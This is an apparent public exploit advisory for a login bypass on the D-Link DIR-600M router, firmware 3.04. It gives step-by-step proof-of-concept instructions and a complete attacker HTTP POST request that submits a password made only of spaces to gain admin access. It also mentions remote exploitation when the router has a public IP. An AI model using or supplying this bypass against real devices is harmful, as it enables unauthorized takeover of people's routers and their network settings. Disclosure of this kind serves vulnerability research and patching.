70 lines
No EOL
1.9 KiB
Text
70 lines
No EOL
1.9 KiB
Text
# Exploit Title: D-Link DIR-600M Wireless N 150 Login Page Bypass
|
|
# Date: 19-05-2017
|
|
# Software Link: http://www.dlink.co.in/products/?pid=DIR-600M
|
|
# Exploit Author: Touhid M.Shaikh
|
|
# Vendor : www.dlink.com
|
|
# Contact : http://twitter.com/touhidshaikh22
|
|
# Version: Hardware version: C1
|
|
Firmware version: 3.04
|
|
# Tested on:All Platforms
|
|
|
|
|
|
1) Description
|
|
|
|
After Successfully Connected to D-Link DIR-600M Wireless N 150
|
|
Router(FirmWare Version : 3.04), Any User Can Easily Bypass The Router's
|
|
Admin Panel Just by Feeding Blank Spaces in the password Field.
|
|
|
|
Its More Dangerous when your Router has a public IP with remote login
|
|
enabled.
|
|
|
|
For More Details : www.touhidshaikh.com/blog/
|
|
|
|
IN MY CASE,
|
|
Router IP : http://192.168.100.1
|
|
|
|
|
|
|
|
Video POC : https://www.youtube.com/watch?v=waIJKWCpyNQring
|
|
|
|
2) Proof of Concept
|
|
|
|
Step 1: Go to
|
|
Router Login Page : http://192.168.100.1/login.htm
|
|
|
|
Step 2:
|
|
Fill username: admin
|
|
And in Password Fill more than 20 tims Spaces(" ")
|
|
|
|
|
|
|
|
Our Request Is look like below.
|
|
-----------------ATTACKER REQUEST-----------------------------------
|
|
|
|
POST /login.cgi HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
|
|
Firefox/45.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/login.htm
|
|
Cookie: SessionID=
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 84
|
|
|
|
username=Admin&password=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send
|
|
|
|
|
|
--------------------END here------------------------
|
|
|
|
Bingooo You got admin Access on router.
|
|
Now you can download/upload settiing, Change setting etc.
|
|
|
|
|
|
|
|
|
|
-------------------Greetz----------------
|
|
TheTouron(www.thetouron.in), Ronit Yadav
|
|
----------------------------------------- |